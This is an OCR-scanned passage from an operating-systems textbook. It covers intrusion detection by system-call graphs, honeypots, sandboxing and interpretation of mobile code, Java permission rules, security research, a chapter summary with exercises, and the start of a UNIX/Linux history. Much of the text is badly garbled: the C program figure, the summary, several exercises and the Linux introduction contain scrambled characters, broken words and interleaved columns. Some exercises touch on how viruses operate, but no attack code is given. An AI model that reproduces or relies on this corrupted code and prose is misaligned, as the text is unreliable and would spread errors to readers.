It one character at a tune until it hits a zero byte, at which time it prints the num
ber of nonzero bytes at the start of the file and exits. In Fig. 9-36(b) we see a 
graph of the syste� calls made by this program (where print calls write). 

What does thIS gr��h tell. us? For one thing, the first system call the program 
makes, under all conditIons, IS always open. The next one is either read or write, 
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int main(int argc *char argvO) 
( 
intld, n=O; 
char buftij; 

fd '" open{"data", 0); 
if {fd < OJ{ 

printf("Sad data me\n"}; 
exit(1); 

} else { 

} 
} 

whlle (1) { 

} 

read(fd, bul, 1); 
if {bul[O} == 0) ( 
close(fd); 
printf("n "" %d\n", n); 
exit(O); 

n =n + 1 ; 

{a} 

open 

close 

write 

exit 

(b) 

Figure 9«36. (a) A program. (b) System call graph for (a). 
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Unfortunately, it is possible for a clever attacker to launch what is called a 
mimicry attack, in which the inserted code makes the same system calls as the 
program is supposed to (Wagner and Soto, 2002), so more sophisticated models 
are needed than just tracking system calls. Still, as part of defense in depth, an 
IDS can play a role. 

A model-based IDS is not the only kind, by any means. Many IDSes make use 
of a concept called a honeypot, a trap set to attract and catch crackers and 
malware. Usually it is an isolated machine with few defenses and a seemingly 
interesting and valuable content, ripe for the picking. The people who set the 
honeypot carefully monitor any attacks on it to try to learn more about the nature 
of the attack. Some IDSes put theif'honeypots in virtual machines to prevent dam
age to the underlying actual system. So naturally, the malware tries to determine 
if it is running in a virtual machine, as discussed above. 

9.8.6 Encapsulating Mobile Code 

Viruses and worms are programs that get onto a computer without the owner's 
knowledge and against the owner's will. Sometimes, however, people more-or
less intentionally import and run foreign code on their machines. It usually hap-' 
pens like this. In the distant past (which, in the Internet world, means a few years 
ago), most Web pages were just static HTML files with a few associateli images. 
Nowadays, increasingly many Web pages contain small programs called applets. 
When a Web page containing applets is downloaded, the applets are fetched and 
executed. For example, an applet might contain a form to be filled out, plus 
interactive help in filling it out. When the form is filled out, it could be sent some
where Over the Internet for processing. Tax forms, customized product order 
forms, and many other kinds of fOTITIS could benefit from this approach. 

Another example in which programs are shipped from one machine to another 
for execution on the destination machine are agents. These are programs that are 
launched by _ a user to perform some task and then report back. For example, an 
agent could be asked to check out Some travel Web sites to find the cheapest flight 
from Amsterdam to San Francisco. Upon arriving at each site, the agent would 
run there, get the information it needs, then move on to the next Website. When it 
was all done, it could come back home and report what it had learned. 

A third example of mobile code is a PostScript file that is to be printed on a 
PostScript printer. A PostScript file is actually a program in the PostScript pro
gramming language that is executed inside the printer. It normally tells the printer 
to draw certain curves and then fill them in, but it can do anything else it wants to 
as wen. Applets, agents, and PostScript files are just three examples of mobile 
code, but there are many others. 

Given the long discussion about viruses and worms earlier, it should be clear 
that allowing foreign code to run On your machine is more than a wee bit risky. 
Nevertheless, some people do want to run these foreign programs, so the question 
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arises: "Can mobile code be run safely"? The short answer is: "Yes,.but not easi
ly." The fundamental problem is that when a process imports an applet or other 
mobile code into its address space and runs it, that code is running as part of a 
valid user process and has all the power the user has, including the ability to read, 
write, erase, or encrypt the user's disk files, eHmail data to far-away countries, and 
much more. 

Long ago, operating systems developed the process concept to build walls be
tween users. The idea is that each process has its own protected address space and 
own DID, al10wing it to touch files and other resources belonging to it, but not to 
other users. For providing protection against one part of the process (the applet) 
and the rest, the process concept does not help. Threads allow multiple threads of 
control within a process, but do nothing to protect one thread against another one. 

In theory, running each applet as a separate process helps a little, but is often 
infeasible. For example, a Web page may contain two or more applets that inter
act with each other and with the data on the Web page. The Web browser may al
so need to interact with the applets, starting and stopping them, feeding them data, 
and so on. If each applet is put in its own process, the whole thing will not work. 
Furthermore, putting an applet in its own address space does not make it any 
harder for the applet to steal or damage data. If anything, it is easier since nobody 
is watching in there. 

Various new methods of dealing with applets (and mobile code in general) 
have been proposed and implemented. Below we will look at two of these meth
ods: sandboxing and interpretation. In addition, code signing can also be used to 
verify the source of the applet. Each one has its own strengths and weaknesses. 

Sandboxing 

The first method, called sandboxing, attempts to confine each applet to a lim
ited range of virtual addresses enforced at run time (Wahbe et aI., 1993). It works 
by dividing the virtual address space up into equal-size regions, which we will 
call sandboxes. Each sandbox must have the property that all of its addresses 
share some string of high-order bits. For a 32-bit address space, we could divide it 
up into 256 sandboxes on 16-MB boundaries so that all addresses within a sand
box have a common upper 8 bits. Equally well, we could have 512 sandboxes on 
8-MB boundaries, with each sandbox having a 9-bit address prefix. The sandboX 
size should be chosen to be large enough to hold the largest applet without wast
ing too much virtual address space. Physical memory is not an issue if demand 
paging is present, as it usually is. Each applet is given two sandboxes, one for the 
code and one for the data, as illustrated in Fig. 9-37(a) for the case of 16 sand
boxes of 16 MB each_ 

The basic idea behind a sandbox is to guarantee that an applet cannot jump to 
code outside its code sandbox or reference data outside its data sandbox. The rea
son for having two sandboxes is to prevent an applet from modifying its code dur-
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The code works as follows: First the target address under inspection is copied 
to a scratch register, 81. Then this register is shifted right precisely the correct 
number of bits to isolate the common prefix in 81. Next the isolated prefix is 
compared to the correct prefix initially loaded into 82. If they do not match, a 
trap occurs and the applet is killed. This code sequence requires four instructions 
and two scratch registers. 

Patching the binary program during execution requires some work, but it is 
doable. It would be simpler if the applet were presented in source form and then 
compiled locally using a trusted compiler that automatically checked the static ad
dresses and inserted code to verify the dynamic ones during execution. Either 
way; there is some run-time overhead associated with the dynamic checks. 
Wahbe et a1. (1993) have measured this as about 4%, which is generally accept
able. 

A second problem that must be solved is what happens when an applet tries to 
make a system call. The solution here is straightforward. The system call instruc
tion is replaced by a call to a special module called a reference monitor on the 
same pass that the dynamic address checks are inserted (or, if the source code is 
available, by linking with a special library that calls the reference monitor instead 
of making system calls). Either way, the reference monitor examines each at
tempted call and decides if it is safe to perfonn. If the call is deemed acceptable, 
such as writing a temporary file in a designated scratch directory, the call is al
lowed to proceed. If the call is known to be dangerous or the reference monitor 
cannot tell, the applet is killed. If the reference monitor can tell which applet call
ed it, a single reference monitor somewhere in memory can handle the requests 
from all applets. The reference monitor nonnally learns about the pennissions 
from a configuration file. 

Interpretation 

The second way to run untrUsted applets is to run them interpretively and not 
let them get actual control of the hardware. This is the approach used by Web 
browsers. Web page applets are commonly written in Java, which is a normal 
progranuning language, or in a high-level scripting language such as safe-TeL or 
Javascript. Java applets are first compiled to a virtual stack-oriented machine lan
guage called JVM (Java Virtual Machine), It is these JVM applets that are put 
on the Web page. When they are downloaded, they are inserted into a JVM inter
preter inside the browser as illustrated in Fig. 9-38. 

The advantage of running interpreted code over compiled code is that every 
instruction is examined by the interpreter before being executed. This gives the 
interpreter the opportunity to check if the address is valid. In addition, system 
calls are also caught and interpreted. How these calls are handled is a matter of 
the security policy. For example, if an applet is trUsted (e.g., it came from the 
local disk), its system calls could be carried out without question. However, if an 
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char *P; 
p = randO; 
*p = O; 
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,
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as rna oc and free) and all array references are checked at run time. 
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may perform on the object if the applet's URL and signer match the rule. Con
ceptually, the information provided is shown in the table of Fig. 9-39, although 
the actual formatting is different and is related to the Java class hierarchy. 

URL Signer Object Action 

www.taxprep.com TaxPrep lusrlsusan/1040,xls Read 
• !usr/tmp/* Read, Write 

www.microsoft.com Microsoft lusrlsusan!Office/- Read, Write, Gelete 

Figure 9�39. Some examples of protection tqat can be specified with JDK 1.2. 

One kind of action permits file access. The action can specify a specific file or 
directory, the set of all files in a given directory, or the set of all files and direc
tories recursively contained in a given directory. The three lines of Fig. 9-39 
correspond to these three cases. In the first line, the user, Susan, has set up her 
permissions file so that applets originating at her tax preparer's machine, called 
www.taxprep.com. and signed by the company, have read access to her tax data 
located in the file l040.xis. This is the only file they can read and no other applets 
can read this file. In addition, all applets from all sources, whether signed or not, 
can read and write files in /usr/tmp. 

Furthennore, Susan also trusts Microsoft enough to allow applets originating 
at its site and signed by Microsoft to read, write, and delete all the files below the 
Office directory in the directory tree, for example, to fix bugs and install new ver
sions of the software. To verify the signatures, Susan must either have the neces
sary public keys on her disk or must acquire them dynamically, for example in the 
form of a certificate signed by a company she trusts and whose public key she has. 

Files are not the only resources that can be protected. Network access can also 
be protected. The objects here are specific ports on specific computers. A com
puter is specified by an IP address or DNS name; ports on that machine are speci
fied by a range of numbers. The possible actions include asking to connect to the 
remote computer and accepting connections originated by the remote computer. 
In this way, an applet can be given network access, but restricted to talking only 
to computers explicitly named in the permissions list. Applets may dynamically 
load additional code (classes) as needed, but user-supplied class loaders can pre
cisely control on which machines such classes may originate. Numerous other se
curity features are also present. 

9.9 RESEARCH ON SECURITY 

Computer security is a very hot topic, with a great deal of research taking 
place One important topic is trusted computing, especially platforms for it (Erick
son, 2003; Garfinkel et aI., 2003; Reid and Caelli, 2005; and Thibadeau, 2006) 
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and public policy issues associated with it (Anderson, 2003). Infonnation flow 
models and implementation is an ongoing research topic (Castro et aI., 2006; Efs
tathopoulos et a1., 2005; Hicks et aI., 2007; and Zeldovich et aI., 2006) 

User authentication (including biometrics) is still quite important (Bhargav
Spantzel et aI., 2006; Bergadano et a1., 2002; Pusara and Bradley, 2004; Sasse, 
2007; and Yoon et a1., 2004). 

Given all the problems with malware these days, there is a lot of research on 
buffer overflows and other exploits and how to deal with them (Hackett et at, 
2006; Jones, 2007; Kuperman et aI., 2005; Le and Soffa, 2007; and Prasad and 
Chiueh, 2003). 

Malware in all its forms is widely studied, including Trojan horses (Agrawal 
et aI., 2007; Franz, 2007; and Moffie et aI., 2006), Viruses (Bruschi et aI., 2007; 
Cheng et aI., 2007; and Rieback et aI., 2006), woans (Abdelhafez et a1., 2007; 
Jiang and Xu, 2006; Kienzle and Elder, 2003; and Tang and Chen, 2007), spyware 
(Egele et aI., 2007; Felten and Halderman, 2006; and Wu et aI., 2006), and root
kits (Kruegel et aI., 2004; Levine et aI., 2006; Quynh and Takefuji, 2007; and 
Wang and Dasgupta, 2007). Since viruses, spyware, and rootkits all try to hide, 
there has been work on stealth technology and how they can be detected anyway 
(Carpenter et aI., 2007; Garfinkel et aI., 2007; and Lyda and Hamrock, 2007). 
Steganography itself has also been examined (Harmsen and Pearlman, 2005; and 
Kratzer et aI., 2006). 

Needless to say. there has been much work on defending systems against 
malware. Some of it focusing on antivirus software (Henchiri and Japkowicz� 
2006; Sanok, 2005; Stiegler et aI., 2006; and Uluski et aI., 2005). Intrusion detec
tion systems are an especially hot topic, with work going on about both real-time 
and historical intrusions (King and Chen, 2005; 2006; Saidi, 2007; Wang et aI., 
2006b; and Wheeler and FuIp, 2007). Honeypots are naturally an important 
aspect of IDSes and get quite a bit of attention themselves (Anagnostakis et al., 
2005; Asrigo et aI., 2006; Portokalidis et aI., 2006) 

9,10 SUMMARY 

Computers frequently contain valuable and confidential data, including tax re
turns, credit card numbers, business plans, trade secrets, and much more. The 
owners of these computers are usually quite keen on having them remain private 
and not tampered with, which rapidly leads to the requirement that operating sys
tems must provide good security. One way to keep infonnation secret is to encrypt 
it and manage the keys carefully. Sometimes it is necessary to prove the authenti
city of digital information, in which case cryptographic hashes, digital signatures, 
and certificates signed by a trusted certification authority can be used. 

Access rights to information can be modeled as a big matrix, with the rows 
being the domains (users) and the columns being the objects (e.g., files). Each 
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cell spe
.
cifies the access rights of the domain to the object. Since the matrix is 

spars�, It can be stored by rov:, whi�h becomes a capability list saying what that 
�omam can do or by column, III whICh case it becomes an access control list tel
ling

.
who can. access the object and how. Using fonnal modeling techniques, infor

ffi.atlOn flow In 
.
a system can be modeled and limited. However, sometimes it can 

stIll leak out usmg covert channels, such as modulating CPU usage. 

. 
In any secure system users 

.
must be authenticated. This can be done by some

thm� the user knows,. so�ethl�g the user has, or something the user is (bio
metncs). Two-factor IdentificatIOn, such as an iris scan and a password can be 
used to enhance security. 

Insiders, such as company employees, can defeat system security in a variety 
of ways. Th�se. include logic bombs set to go off on some future date, trap doors 
to allow the .Inslder unau�orized access later, and login spoofing, 

Many kinds 
.
of bugs m the code can be exploited to take over programs and 

systen:s. These mclude buffer overflows, format string attacks, return to libe at
tacks, mteger overflow attacks, code injection attacks, and privilege escalation at
tacks. 

The Internet �s full of malware, including Trojan horses, viruses, worms, spy

:-vare, 
. 

and rootkits. Each of these poses a threat to data confidentiality and 
mteg

.
n�y. Worse yet, a malware attack may be able to take over a machine and 

turn It mto a zombie which sends spam or is used to launch other attacks.· 
Fortunatel�, there are a number of ways systems can defend themselves. The 

best strategy IS d�fense in depth, using multiple techniques. Some of these in
clude firewalls, VIruS scanners, code signing, jailing, and intrusion detection sys
tems, and encapsulating mobile code. 

PROBLEMS 

1. Consider the follOWing way to encrypt a file. The encryption algorithm uses two n?yte arra�s, A and .B. T�e first n bytes are read from the file iota A. Then A [OJ is cop
Ied �o B [r], A [1 ] IS copIed to B U], A [2] is copied to B [k], etc. After all n bytes are 
�opled to �e B array, that a�ay is wri�teo to the output file and n more bytes are read 
mto A. ThIS. pro�edure c�ntmues untIl the entire file has been encrypted. Note that 
here �ncrypt�on IS not bemg done by replacing characters with other ones, but by 
chang�ng .theIr order. How man� keys have to be tried to exhaustively search the key 
space. GIVe an advantage of thIS scheme over a monoalphabetic substitution cipher. 

2. Give a simple exa�ple of a mathematical function that to a first approximation will do 
as a one-way functIOn. 

3. Suppose that two strangers A and B want to communicate with each other usino
secret-key cryptography, but do not share a key. Suppose both of them trust a third 
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H the two strangers establish a new 
party C whose public key is well known. ow can 
shared secret key under these circumstances? 
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one anywhere in the world and conducting business there. Descnbe a way to pro u 
, d ( sume that all the computers are 

sio-ned documents from one usmg a smart car as 
e;uipped with smart card readers). Is your scheme secure? 

. f d 
. 

and the columns are for ob-
5. In a full aCcess control matnx, the roWS are . o

r omams . ? 
jeets. What happens if some object is needed In two domams . 

. d I00 d ' s at some time. l % of the ob-
6. Suppose that a system has 1000 �bJe:ts an omam . mains, 10% are ac-

jeets are accessible (some combmatton of r, w and x) tn a�l do. 1 d a'n 
cessible in two domains, and the remaining 89% are accessIble tn on y 

b
�ne , am ; . 

Suppose one unit of space is required to store an access right (some com
h 

lfi
fu
a
l
'
l
lon o

,ec" , H h is needed to store t e pro -
w x) object 10 or a domam ID. ow muc space 

bT r ? 
ti�n :natrix, pro�ection matrix as ACL, and protection matrix as capa I lty 1St. 

7. Explain which implementation of the protection matrix is more suitable for the follow

ing operations: 
(a) Granting read accesS to a file for all users 
(b) Revoking write acceSS to a file from all �sers . ' 
(e) GrantinO" write access to a file to John, LIsa, Chnstle, and Jeff. 

'=' 'k M n d Shane 
(d) Revoking execute access to a file from Jana, Ml e, 0 y, an . 

, " h ' th' s UNIX directory listing as a 
8 Represent the ownerships and penrusslOnS s own tn I I '  . 

' b  f groups' users and deve ; gmw IS a 
protection matrix. Note: asw IS a mem er 0 two · 

d ' 
f th , rs and two groups as a omam, so 

member only of users. Treat each 0 e wo use fi 
that the matrix has four rows (one per domain) and four columns (one per lIe). 

-rw-r--r-- 2 gmw users 908 May 26 1 6:45 Ppp-Notes 

asw deve! 432 May 1 3  1 2:35 prog1 

=:�;:��-=-� asw users 50094 May 30 17:51 projectt 

- rw-r----- asw devel 13124 May 31 1 4:30 sp!ash.gif 

, d' r (nO" of the previous problem as ac-
9. Express the permissions shown m the lrectory IS 1 '=' 

cess control lists, 

10. Modify the ACL for one file to grant or. den� an aCcess that cannot be expressed using 

the UNIX TWX system. Explain this modificatlOn, 
. T . an ask the server to produce 

11. In the Amoeba scheme for protectmg capabi ttles, a use: c , h ens 
a new capability with fewer rights, which can then be gIven to a fne?d. What 

. 
ap

�t t 
if the friend asks the server to remove even more rights so that the fnend can gIve 1 0 
someone else? 

A Would such an arrOW be al-
12. In Fig. 9-13, there is no arrow from object 2 to process . 

lowed? If not, what rule would it violate? 

13 If process to process messaO"es were allowed in Fig, 9-13, what rules would apply tO
d • • 1:> , h' h es could it send messaoes an 

them? For process B ill partlcular, to w lC process I:> 

which not? 
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14. Natural-language text in ASCII can be compressed by at least 50% using various com
pression algorithms, Using this knowledge, what is the steganographic carrying capa
city for ASCII text (in bytes) of a 1600 x 1200 image stored using the low-order bits 
of each pixel? How much is the image size increased by the use of this technique (as
suming no encryption or no expansion due to encryption)? What is the efficiency of 
the scheme, that is, its payload/(bytes transmitted)? 

15. Suppose that a tightly knit group of political dissidents living in a repressive country 
are using steganography to send out messages to the world about conditions in their 
country, The government is aware of this and is fighting them by sending out bogus 
images containing false steganographic messages. How can the dissidents try to help 
people tell the real messages from the false ones? 

16. Go to www.cs.vu.nllas! and click on covered writing lime Follow the instructions to 
extract the plays. Answer the fallowing questions: 
(a) What are the sizes of the original-zebras and zebras files? 
(b) What plays are secretly stored in the zebras file? 
(c) How many bytes are secretly stored in the zebras file? 

17. Not having the computer echo the password is safer than having it echo an asterisk for 
each character typed, since the latter discloses the password length to anyone nearby 
who can see the screen. Assuming that passwords consist of upper and lower case 
letters and digits only, and that passwords must be a minimum of five characters and a 
maximum of eight characters, how much safer is not displaying anything? • 

18. After getting your degree, you apply for a job as director of a large university com
puter center that has just put its ancient mainframe system out to pasture and switched 
over to a large LAN server running UNIX. You get the job. Fifteen minutes after start
ing work, your assistant bursts into your office screaming: "Some students have 
discovered the algorithm we use for encrypting passwords and posted it on the Inter
net." What should you do? 

19. Explain how the UNIX password mechanism different from encryption, 
20. Suppose the password file of a system is available to a cracker. How much extra time 

does the cracker need to crack all passwords if the system is using the Morris
Thompson protection scheme with n-bit salt versus if the system is not using this 
scheme? 

21. Name three characteristics that a good biometric indicator must have for it to be useful 
as a login authenticator. 

22. A computer science department has a large collection of UNIX machines on its local 
network. Users on any machine can issue a command of the form 

rexec machine4 who 

and have the command executed on machine4, without having the user log in on the 
remote machine. This feature is implemented by having the user's kernel send the 
command and his UID to the remote machine. Is this scheme secure if the kernels are 
all trustworthy? What if some of the machines are students' personal computers, with 
no protection? 
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23. What property does the implementation of passwords in UNIX have in common with 
Lamport's scheme for logging in over an insecure network? 

24. Lamport's one�time password scheme uses the passwords in reverse order. Would it 
not be simpler to usef(s) the first time,j(f{s)) the second time, and so on? 

25. Is there any feasible way to use the MMU hardware to prevent the kind of overflow 
attack shown in Fig. 9-241 Explain why or why not. 

26. Name a C compiler feature that could eliminate a large number of security holes. Why 
is it not more widely implemented? 

27. Can the Trojan horse attack work in a system protected by capabilities? 
28. How can a parasitic virus (a) ensure that it will be executed before its host program, 

and (b) pass control back to its host after doing whatever it does? 
29. Some operating systems require that disk partitions must start at the beginning of a 

track. How does this make life easier for a boot sector virus? 
30. Change the program of Fig. 9-27 so that it finds all the C programs instead of all the 

executable files. 
31. The virus in Fig. 9-32(d) is encrypted. How can the dedicated scientists at the 

antivirus lab tell which part of the file is the key so that they can decrypt the vil1ls and 
reverse engineer it? What can Virgil do to make their job a lot harder? 

32. The virus of Fig. 9-32(c) has both a compressor and a decompressor. The decompres
sor is needed to expand and run the compressed executable program. What is the 
compressor for? 

33. Often one sees the following instructions for recovering from a virus attack: 
1. Boot the infected system. 
2. Back up all files to an external medium. 
3. Runfdisk to format the disk. 
4. Reinstall the operating system from the original CD-ROM. 
5. Reload the files from the external medium. 

Name two serious errors in these instructions. 
34. Several UNIX systems use the DES algorithm for encrypting passwords. These sys

tems typically apply DES 25 times in a row to obtain the encrypted password. Down
load an implementation of DES from the Internet and write a program that encrypts a 
password and checks if a password is valid for such a system. Generate a list of 10 
encrypted passwords using the Morris-Thomson protection scheme. Use 16-bit salt. 

35. Suppose a system uses ACLs to maintain its protection matrix. Write a set of man
agement functions to manage the ACLs when (1) a new object is created; (2) an object 
is deleted; (3) a new domain is created; (4) a domain is deleted; (5) new access rights 
(a combination of r, W, x) are granted to a domain to access an object; (6) existing ac
cess rights of a domain to access an object are revoked; (7) new access rights are 
granted to all domains to access an object; (8) access rights to access an object are 
revoked from all domains. 
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CASE STUDY 1 :  LlNUX 

In the previous chapte s . d . 
abstractions, algorithms, an� ;e;����nu:�en�r�� N�;rft���i:es���o��i���:� c�ncrete. sys�ems. to see how these principles are applied in the real world We Will begm WIth Lmux, a popular variant of UNIX which ·d

' -
I . . , runs on a WI e vanety of computers. t IS .o�e of the donunant operating systems on high-end workstations and servers, but It IS also used on systems ranging from cell phones to su ercom puters. It �so il:ustra�es many important design principles well. 

p � 

Th Our dlS�ussl0n. wIll start with its history and evolution of UNIX and Linux �n we �Ill pr�vlde an overview of Linux, to give an idea of how it is used
' �lS overvIew v:IlI b� of special value to readers familiar onl with Win 
. 

SI�C� the latter hIdes VIrtually all the details of the system from d; users. Alt���� g
o
r :p 1

.
Cal
ht

l.nterf
h
aces 

h
may be easy for beginners, they provide little flexibility and n mSlg mto ow t e system works. 

Next we come to the heart of this chapter, an examination of processes mem or!, manag�ment, I/O, the file system, and security in Linux. For each td ic w� :-Vdl
l
first dlS�USS the fundamental concepts, then the system calls and finJlY the Imp ementatlOn. ' 

. Right off the bat we should address the question: Why Linux? LI· . 
vanant of UNIX b h . nux IS a 
AIX F B 

, ut t ere are many other versions and variants of UNIX including 
th 

' ree SD, HP:tJ?C, seo UNIX, System V, Solaris, and others. Fortunately 
th
:�undame�tal pnnclples and system calls are pretty much the same for all of (by deSIgn). Furthennore, the general implementation strategies, algorithms, 

71S 
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and data structures are similar, but there are some differences: T� make. the ex

amples concrete, it is best to choose one of them and .descnbe It consIstently. 

Since most readers are more likely to have encountered Lmux than any of the oth

ers, we will use it as Qur running example, but again be a:vare that except for the 

infonnation on implementation, much of this chapter applIes to all UNIX systems. 

A large number of books have been written on how to use UNIX, but there .are also 

some about advanced features and system internals (Bovet and Cesatl, 2005; 

Maxwell, 2001 ;  McKusick and Neville-Neil, 2004; Pate, 2003; Stevens and Rago, 

2008; and Vahalia, 2007). 

10.1 HISTORY OF UNIX AND LINUX 

UNIX and Linux have a long and interesting history, so we will begin our 

study there. What started out as th .. e pet project .of on� youn.
g re�e.archer C�en 

Thompson) has become a bi1lion-dol1� indu�try mvo}vmg .um�erSItle�, multwa

tional corporations, governments, and mtematlonal standardIzation bodies. In the 

following pages we will tell how this story has unfolded. 

10.1.1 UNICS 

Back in the 1940s and 19505, all computers were personal computers, at least 

in the sense that the then-normal way to use a computer was to sign up for an hour 

of time and take over the entire machine for that period. Of course, these ma

chines were physically immense, but only one person (the �rogrammer) could use 

them at any given time. When batch systems too.k �ver,. m the 1960s: the pro

grammer submitted a job on punched cards by bnngmg It to the machme room. 

When enouch jobs had been assembled, the operator read them all in as a single 

batch. It us�ally took an hour or more after submitting a job until th� output was 

returned. Under these circumstances, debugging was a tlme-consummg process, 

because a single misplaced comma might result in wasting several hours of the 

programmer's time. . . 
To get around what almost everyone VIewed as an unsatisfactory and unpro-

ductive arrangement, timesharing was invented at Dartmouth College and. M.LT. 

The Dartmouth system ran only BASIC and enjoyed a short-term commercIal suc

cess before vanishing. The M.LT. system, CTSS, was general purpose and was an 

enormous success in the scientific community. Within a short time, researchers at 

MJ.T. joined forces with Bell Labs and General Electric (then a computer ve�

dor) and began designing a second-generation system, MULTICS (MULTi

plexed Information and Computing Service).' as we discu�sed in Chap. 1 .  

Although Bell Labs was one of the foundmg partners m the MULTICS pro

ject, it later pulled out, which left one of the Bell Labs researchers, Ken Tho.mp

son, looking around for something interesting to work on. He eventually deCIded 
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to write a stripp�d�down MULTICS by himself (in assembler this time) on a dis
carded PDP-7 mmicomputer. Despite the tiny size of the PDP-7, Thompson's sys
tem actually worked and could support Thompson's development effort. Conse
quently, one of the other researchers at Bell Labs, Brian Kernighan, somewhat 
jokingly called it UNICS (UNiplexed Information and Computing Service). 
Despite puns about- "EUNUCHS" being a castrated MULTICS, the name stuck, 
although the spelling was later changed to UNIX. 

10.1.2 PDP-ll UNIX 

Thompson's work so impressed many of his colleagues at Bell Labs that he 
was soon joined by Dennis Ritchie, and later by his entire department. Two major 
developments occurred around this time. First, UNIX was moved from the 
obsolete PDP-7 to the much more modern PDP-I 1120 and then later to the PDP-
1 1145 and PDP-1 InO. The latter two machines dominated the minicomputer 
world for much of the 1970s. The PDP-l 1145 and PDP- l lnO were powerful ma
chines with large physical memories for their era (256 KB and 2 MB, respective
ly). Also, they had memory protection hardware, making it possible to support 
multiple users at the same time. However, they were both 16-bit machines that 
limited individual processes to 64 KB of instruction space and 64 KB of data 
space, even though the machine may have had far more physical memory. 

The second development concerned the language in which UNIX was written, 
By now it was bec�ming painfully obvious that having to rewrite the entire system 
for each new machme was no fun at all, so Thompson decided to rewrite UNIX. in 
a high-level language of his own design, called B. B was a simplified fonn of 
BCPL (which itself was a simplified fonn of CPL, which, like PLII, never work
ed). Due to weaknesses in B, primarily lack of structures, this attempt was not 
successful. Ritchie then designed a successor to B, (naturally) called C, and wrote 
an excellent compiler for it. Working together, Thompson and Ritchie rewrote 
UNIX in C: C was t?e right language at the right time, and has dominated system 
programmmg ever Slflce. 

In 1974, Ritchie and Thompson published a landmark paper about UNIX 
(Ritchie and Thompson, 1974). For the work described in this paper they were 
later given the prestigious ACM Turing Award (Ritchie, 1984; Thompson, 1984). 
The publication of this paper stimulated many universities to ask Bell Labs for a 
copy of UNIX. Since Bell Labs' parent company, AT&T, was a regulated mono
poly at the time and was not permitted to be in the computer business, it had no 
objection to licensing UNIX to universities for a modest fee. 

In one of those coincidences that often shape history, the PDP- l l  was the 
comp�ter of choice at nearly all university computer science departments, and the 
operatmg systems that came with the PDP-II were widely regarded as dreadful 
by professors and students alike. UNIX quiCkly filled the void, not in the least be
cause it was supplied with the complete source code, so that people could, and 
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did, tinker with it endlessly. Numerous scientific meetings were organized around 
UNIX, with distinguished speakers getting up in front of the room to tell about 
some obscure kernel bug they had found and fixed. An Australian professor, John 
Lions, wrote a commentary on the UNIX source code of the type normally re
served for the works of Chaucer or Shakespeare (reprinted as Lions, 1996). The 
book described Version 6, so named because it was described in the sixth edition 
of the UNIX Programmer's Manual. The source code was 8200 lines of C and 900 
lines of assembly code. As a result of all this activity, new ideas and improve
ments to the system spread rapidly. 

Within a couple of years, Version 6 was replaced by Version 7, the first port
able version of UNIX (it ran on the PDP-II  and the Interdata 8/32), by now 18,800 
lines of C and 2100 lines of assembler. A whole generation of students was 
brought up on Version 7, which contributed to its spread after they graduated and 
went to work in industry. By the mid-1980s, UNIX was in widespread use on min
icomputers and engineering workstations from a variety of vendors. A number of 
companies even licensed the source code to make their own version of UNIX. 
One of these was a small startup called Microsoft, which sold Version 7 under the 
name XENIX for a number of years until its interest turned elsewhere. 

10.1.3 Portable UNIX 

Now that UNIX was written in C, moving it to a new machine, known as port
ing it, was much easier than in the early days. A port requires first writing a C 
compiler for the new machine. Then it requires writing device drivers for the new 
machine's I/O devices, such as monitors, printers, and disks. Although the driver 
code is in C, it cannot be moved to another machine, compiled, and run there be
cause no two disks work the same way. Finally, a small amount of machine
dependent code, such as the interrupt handlers and memory management routines, 
must be rewritten, usually in assembly language. 

The first port beyond the PDP- l l  was to the Interdata 8/32 minicomputer. 
This exercise revealed a large number of assumptions that UNIX implicitly made 
about the machine it was running on, such as the unspoken supposition that inte
gers held 16 bits, pointers also held 16 bits (implying a maximum program size of 
64 KB), and that the machine had exactly three registers available for holding im
portant variables. None of these were true on the Interdata, so considerable work 
was needed to clean UNIX up . 

Another problem was that although Ritchie's compiler was fast and produced 
good object code, it produced only PDP-I I  object code. Rather than write a new 
compiler specifically for the Interdata, Steve Johnson of Bell Labs designed and 
implemented the portable C compiler, which could be retargeted to produce 
code for any reasonable machine with a only a moderate amount of effort. For 
years, nearly all C compilers for machines other than the PDP-I I  were based on 
Johnson's compHer, which greatly aided the spread of UNIX to new computers. 

SEC. 10.1 HISTORY OF UNIX AND LINUX 719 

The port to the Interdata initially went slowly because all the development 
work had to be done on the only working UNIX machine, a PDP-II ,  which hap
pened to be on the fifth floor at Bell Labs. The Interdata was on the first floor. 
Gene.rating a new :ersion meant compiling it on the fifth floor and then physically 
carrymg a magnetic tape down to the first floor to see if it worked. After several 
months of tape carrying, an unknown person said: «You know, we're the phone 
company. Can't we run a wire between these two machines?" Thus was UNIX 
networking born. After the Interdata port, UNIX was ported to the V AX and other 
computers. 

After AT&T was broken up in 1984 by the U.S. government, the company 
was legally free to set up a computt:!r subsidiary, and SOon did. Shortly thereafter, 
AT&T released its first commercial UNIX product, System III. It was not well re
ceived, so it was replaced by an improved version, System V, a year later. What
ev.er happened �o. System IV is one of the great unsolved mysteries of computer 
SCIence. The ongmal System V has since been replaced by System V, releases 2, 
3, and 4, e.a�h o�e bigger

. 
and more complicated than its predecessor. In the proc

ess, t�e �r:gmal 1dea behmd UNIX, of having a simple, elegant system, has gradu
ally dlmlfllshed . . �lthough Ritchie and Thompson's group later produced an 8th, 
9th: and 10th. edwon of UNI?', these were never widely circulated, as AT&T put 
all ItS marketing muscle behmd System V. However, some of the ideas from the 
8th, 9th, and 10th editions were eventually incorporated into System V. AT&T 
eventually decided that it wanted to be a telephone company, not a computer com
pany: after all, and sold its UNIX business to Novell in 1993. Novell subsequently 
sold It to the Santa Cruz Operation in 1995. By then it was almost irrelevant who 
owned it, since all the major computer companies already had licenses. 

10.1.4 Berkeley UNIX 

One of the many universities that acquired UNIX Version 6 early on was the 
University of California at Berkeley. Because the full source code was available 
Berkeley was able to modify the system substantially. Aided by grants fro� 
ARPA, the U.S. Dept. of Defense's Advanced Research Projects Agency, Berke
ley produced and released an improved version for the PDP-I I  called IBSD 
(First Berkeley Software Distribution). This tape was followed quickly by anN 
other one, called 2BSD, also for the PDP-I I. 

More important were 3BSD and especially its successor, 4BSD for the VAX. �lthough AT&T had a VAX version of UNIX, called 32V, it was essentially Ver
SIon 7. In contrast, 4BSD contained a large number of improvements. Foremost 
among these was the use of virtual memory and paging, allowing programs to be 
larger than physical memory by paging parts of them in and out as needed. Anoth
er cha�ge allowed file names to be longer than 14 characters. The imple
mentatiOn of the file system was also changed, making it considerably faster. Sig
nal handling was made more reliable. Networking was introduced, causing the 
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network protocol that was used, TCP/IP, to become a de facto standard in the 
UNIX world; and later in the Internet, which is dominated by UNIX -based s�rvers. 

